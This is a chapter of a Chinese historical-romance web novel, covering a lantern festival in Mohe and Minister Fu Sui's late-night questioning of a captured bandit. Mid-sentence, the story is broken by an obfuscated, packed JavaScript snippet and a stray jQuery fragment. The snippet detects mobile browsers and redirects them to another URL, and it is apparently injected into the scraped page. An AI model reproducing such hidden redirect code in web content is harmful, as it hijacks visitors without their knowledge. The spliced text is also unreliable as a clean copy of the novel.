55. 危澜起阁老镇妖邪(一)
作品:《重生之我为首辅修古董》 只有一句去过。
傅绥并没有解释自己为何会去听风楼,也并不对英茀说别的,随后有人来通报,傅绥便说自己有公务要处理,让她好好休息,随后便离开了。
他倒是离开了,可英茀却平静不下来了。本来心里的问题就多,更何况她那个泡了水的脑子一点也不好使,一想事情就头疼。
听赵徽璇说,他是巡视襄平顺道来墨河,可墨河并非必经之路,他为何要绕道此地?又为何去听风楼听琴?
脑子里的问题太多,她怎么也想不出来,只好将被子一蒙,继续睡去。
待英茀大好,已是几天后。
这天英茀在琼花的服侍下,穿好衣服,刚下床,就看到了赵徽璇和沈清两人抱着一大束红梅花走进来。
她俩一个穿大红袄裙,一个穿青绿对襟袄,两个人红扑扑的脸蛋被脖颈上的狐狸毛围脖簇拥着,就像两个可爱的福娃。
绽放的红梅热烈而鲜活,两人将手中红梅插入屋内的花瓶中,顿时显得屋内满室喜色。
“梅花开了,英姐姐也大好了,恰巧又碰上花灯节开幕,实在是喜事。”
沈清一边插梅花一边高兴地道。
赵徽璇也道:“不若今日咱们就趁着王姐姐好了,出去看看花灯吧!”
赵徽璇对花灯的期待,英茀自然是知道的,她笑着回:“听公主和小清的。”
见英茀答应得爽快,赵徽璇和沈清喜出望外。
两人上前簇拥着英茀,赵徽璇先打量了英茀的衣着,随后对琼花道:“英姐姐这衣服过于单薄了,她病才好,可不能再感染风寒,你去把我那件紫貂毛披风拿来给王姐姐。”
等琼花将披风拿来,英茀便披着披风和沈赵二人出门去看看梅花,等待天黑,众人好一道去花灯节。
梅林里的花苞一夕之间,竟全绽放了。
英茀被一左一右沈清赵徽璇簇拥着走在青石板路上,路上的积雪早已被郑尹派人扫干净了,走在路上一点也不觉得湿滑。
鼻尖萦绕着清冽的梅香,偶有几片花瓣落下来,整个世界呈现出一副白雪红梅的安静景象。
“哇!英姐姐快看!那里有一株绿萼!”
沈清松了她的手臂,扑腾着往前跑,像一只雀跃的小鸟。
赵徽璇听闻,也跟上去,对着梅花看了半天后,才道:“墨河的梅花,果然比京城的开得好呢。”
英茀站在原地,看着赵徽璇沈清二人围着绿萼梅花有说有笑,甚至开始比试起梅花的飞花令来。
“王姑娘。”
身后传来一道迟疑的声音。
她回头,只见沈泽站在身后的梅树下。往日疏朗的眉眼染上了几分局促。
她知道沈泽是来做什么的。
这么多天他尽量避免与她单独相见,心中肯定诸多考虑,如今既然站在她面前,想必已经考虑好了。
“沈大人。”她朝沈泽福了福,声音清淡。
沈泽喉结微动,略显迟疑,终于他还是道:“对不起,那日在悬崖上,我困于危局,只能先舍你保公主殿下。”
一瓣梅花落在英茀的肩上,她轻轻拂去。
“都过去了。事急从权,沈大人是皇上亲卫,对于局势的把握,我们都望尘莫及。异地处之,我若处于大人的位置,那天不可能处理得那么好,大人无需挂怀,我也并没有怪你。”
英茀是真心这样想的,她也完全能理解沈泽的作为,因此这番言语诚恳的话让沈泽心中芥蒂消散不少。
她坦荡,可沈泽心中却又起了涟漪。
眼前这个姑娘,人情练达,聪慧机敏,就是放诸皇城,她也是极优秀的闺阁小姐,自己也曾于诸多女子中相中过她,可他毕竟在危急关头弃她不顾。甚至,如果没有傅阁老跳下悬崖去救她,她可能已经死了。
傅阁老,他脑海里忽然想起了那个夜晚,傅阁老从马背上直接跃下悬崖,那种决然的身姿,他好像忽然知道了些什么,但他并不敢面对。
他对她,真的只是报恩那么简单么?
“英姐姐,你在做什么呢?快来看梅花啦!”
沈清和赵徽璇向英茀招手,英茀笑着朝沈泽福了福,往梅林深处跑去了。
“就来。”
沈泽站在原地,英茀的声音还在他耳边萦绕,但她的身影早已走远。她那件紫貂毛披风下偶然露出的一点浅青色影子,也随着她越走越远,淹没在了漫天梅林之中。
**
黄昏,暮色刚刚升起,长街早已被花灯点缀成亮丽的银河。
“这是小清的莲花灯。”
“这是我的花篮灯。”
“这是英姐姐的兔子灯。”
沈清拿着花灯,嘴巴翘了起来,她问赵徽璇:“怎么这灯各不一样,我们一同出去,要拿一样的才好呢。”
赵徽璇拿着手中的花篮灯,双手抱在胸前,得意地道:“因为你像鲜艳的花,英姐姐像雪白的兔子,而我就是载你们一起出去玩的篮子!”
说罢,她哈哈笑了起来。只有在这个时候,她才像个小姑娘,其实算起来,她也不过才十四,正是顽皮可爱的年纪。
沈清被她逗乐,就把自己的莲花灯王赵徽璇的花篮灯里放。
放着放着,她忽然警觉地问:“公主你怎么学我叫英姐姐?你不是叫王姐姐么?”
赵徽璇趁她不注意,用花篮灯往沈清的莲花灯上一坐,得意洋洋地道:“叫王姐姐太见外了,我们现在可是过命的交情,自然要喊亲近些。”
“那不行。”
沈清嘟囔着道:“我都喊了好久的英姐姐,你是公主,可以有那么多姐姐,不要抢我的英姐姐。”
“谁要抢你的英姐姐。”
赵徽璇才不管那么多,她两手伸开揽住英茀沈清,笑得眉眼弯弯:“你俩我都要,一个英姐姐,一个小清,一个公主,我们天下最最好!”
寒风卷着碎雪掠过墨河的街道,赵徽璇一手揽着英茀,一手揽着沈清,三个人都裹着厚厚的斗篷披风,绒毛领子也关不住她们的笑声。
“英姐姐你不知道,那几天你昏迷,公主为了你连听风楼也不去了,没见到杏霞先生,没看到奔雷琴,她遗憾极了。”
“别说啦小清,没见到就没见到吧,明年这时候咱还来墨河城,再来见他,到时候我一定和他比比谁弹得好。”
“好呀,到时候我给公主当说客,让他把奔雷琴借给公主看看,但公主,那奔雷琴如果是假的,你会生气吗?”
“假的?开什么玩笑呀英姐姐,我见过名琴无数,那奔雷琴一定是真的!”
“对了英姐姐,你说傅大人去襄平巡行赋税后,会来墨河城看花灯么?”
“应该不会吧?舅舅忙得很,襄平离墨河也不太近,接近年关,估摸户部还有许多事情等着他去处理呢。”
寒风呼啸过去,三人交叠的笑语散落在墨河的四处。
她们踩着薄雪,往灯火最盛的地方而去,斗篷的下摆扫过积雪,留下三行浅浅的脚印。
三人在护卫们的保护下,一路逛到了晚上。
“快看!那盏走马灯上画的是《牡丹亭》!”
赵徽璇拽着英茀和沈清的袖子往人群中挤去,沈泽带领的护卫队立刻跟上,将人群和赵徽璇等人隔离开。
经历上次的险境,现在的护卫们已经是惊弓之鸟,眼看着人群越来越多,他们的神经也越来越紧绷。
此时,绢制的灯面转了起来。
灯面顿时柔光俱显,绢布表面的美人图也栩栩如生,让人看得沉醉。
待走马灯表演结束后,花灯节来到了今晚的最后一个环节,就是万人河灯祈福。
在场所有人都可以购买河
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764824|182209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灯向墨河神灵许愿,然后将河灯放进墨河中,期待来年愿望实现。
赵徽璇还没说话,沈清已经自顾自地跑去边上排队买了三个河灯,给赵徽璇和英茀一人分了一个。
英茀三人蹲在石阶上,一人拿着一支小笔写着愿望。
“这纸也太小了,我还想许几个愿望呢。”
赵徽璇最先写好愿望。
沈清用手捂住纸条不让人看见,然后笑她:“公主你也太贪心了,你一个公主殿下,什么事情不能做到?还需要许愿?”
赵徽璇嘟着嘴巴道:“你知道什么?我愿望可多了。”
说罢她将头凑过去看沈清的纸条,谁知沈清将纸条捂得严严实实的,连个边角都看不见。
“写什么呢这么神秘?”
沈清写好后将纸条赶紧折好,朝赵徽璇挑衅似的抬下巴。
“就不告诉你,说出来就不灵了。”
她俩实在活泼,英茀低头笑笑,将自己的纸条也折起来,随后放入河灯中,再将点燃的蜡烛也放进里面。
河灯被放入墨河的一瞬间,河面上忽然吹来一阵风,将蜡烛的火苗吹得乱跳。
英茀三人的心都被揪了起来,她们手握着手,目不转睛地看着各自的河灯,生怕蜡烛被风吹灭了。
终于,三盏灯颤颤巍巍地融入了远处的灯海中。
大家长舒了一口气,风吹过三个年轻姑娘的衣衫,将她们倒影在河中的影子,吹得摇摇晃晃,歪歪斜斜。
英茀看着远去的河灯,她以前是不相信神佛的,但自从重生以来,她不得不信。
所以,河神听到她的愿望了吗?
她希望:母亲安好。傅绥也安好。
今日的花灯会已然结束,在赵徽璇沈清一路的褒扬声中,她们回到了卉园中。
而此时,在郑尹的知州府里,他正接待着一位不速之客。
夜已经很静了,来人入门时,风雪侵身,令他如玉山独立的身姿染上了几分雪意。
暖黄的烛光下,郑尹忐忑地给他行礼,他满以为这位贵人不会再来墨河小城,但想不到的是,他从襄平回来,竟然拐道又来了墨河。
是来询问他走之前吩咐的那件事吗?想到这里,郑尹眉头紧蹙,也不知道等会儿他的回答会不会令贵人满意。
“公主遇袭这件事,郑大人查的可有眉目了?”
果然,是为了这件事而来。
郑尹连忙拱手道:“回阁老,那批匪徒来自城外的伏虎山,是山上的山匪,事后我已差人将那匪贼老窝给抄了,现下那寨子里剩下的匪徒,全部关在州府的天牢里。”
傅绥点头,郑尹这才松口气。
没想到傅绥接下来的问题,却让他又犯了难。
“那个叫青山的匪徒可找到了?”
郑尹额头上的冷汗蹭蹭往外冒。
“大人,小春河虽不如墨河水流汹涌,但作为墨河上最大的一条支流,它的水流也很湍急。那日您让下官找人捞尸,下官找是找了,但的确没找到,也许冲到下游去了,或者汇入墨河了也说不定。”
他这话说得没错。小春河的水流速度傅绥是见识过的,他也不想为难郑尹,便让郑尹将伏虎寨那个管事的二当家从天牢里提出来,他要亲自审人。
郑尹觉得奇怪,此事已经明了,况且现在两个主事的,一个失踪一个死了,要想调查根本无从下手。
但他的这些疑惑,并不敢与傅绥讲,只能吩咐下官去提了伏虎寨的二当家钻山豹来。
不一会儿功夫,钻山豹就被锁着铁链提了上来,跪在堂前。
钻山豹其人,身形健壮,似头豹子一般,穿着一件粗布棉衣,在大冷天,居然还露出黝黑的胸膛。
郑尹轻咳两声,道:“钻山豹,这位是阁老傅大人,他老人家要问你话,你如实回答便是。”

